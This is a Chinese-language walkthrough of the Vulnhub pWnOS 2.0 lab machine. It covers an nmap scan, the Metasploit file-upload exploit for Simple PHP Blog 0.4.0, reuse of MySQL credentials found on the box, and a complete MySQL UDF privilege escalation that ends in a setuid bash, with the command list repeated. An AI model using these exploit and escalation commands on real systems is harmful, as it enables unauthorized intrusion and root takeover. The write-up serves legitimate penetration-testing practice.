Vulnhub:pWnOS 2.0靶机
kali:192.168.111.111
靶机:192.168.111.235
信息收集
端口扫描
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.235

访问网站blog目录

在源码处发现cms信息为:Simple PHP Blog 0.4.0

搜索发现该版本存在远程代码执行
searchsploit Simple PHP

漏洞利用
msfdb run
use exploit/unix/webapp/sphpblog_file_upload
set rhosts 192.168.111.235
set uri /blog
run

提权
查看/var/mysqli_connect.php发现msyql数据库的账号密码,该密码也可以直接切换到root,同时数据库可以udf提权


Mysql_UDF提权
udf提权使用kali自带的库文件
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so

1.mysql必须要以root身份运行
ps aux | grep mysql

2.当secure_file_priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制
show global variables like '%secure%';

3.查看插件所在路径
show variables like '%plugin%';

4.创建数据表a
use mysql;
create table a(line blob);

5.往表a插入数据
insert into a values(load_file('/tmp/lib_mysqludf_sys_64.so'));

6.插入二进制数据, 然后利用dumpfile函数把文件导出
select * from a into dumpfile'/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';

7.创建自定义函数sys_exec 类型是integer,别名 soname 文件名
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';

8.调用自定义函数执行命令
select sys_exec('cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash');

9.退出数据库执行命令,提升为root
/tmp/bash -p

UDF提权所使用到的命令
#mysql必须要以root身份运行
ps -aux | grep mysql
#当secure_file_priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制
show global variables like '%secure%';
#查看插件所在路径
show variables like '%plugin%';
#创建数据表a
create table a(line blob);
#往表a插入数据
insert into a values(load_file('/tmp/lib_mysqludf_sys_64.so'));
#插入二进制数据, 然后利用dumpfile函数把文件导出
select * from a into dumpfile'/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';
#创建自定义函数sys_exec 类型是integer,别名 soname 文件名
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';
#调用自定义函数执行命令
select sys_exec('cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash');
#退出数据库执行命令
/tmp/bash -p

浙公网安备 33010602011771号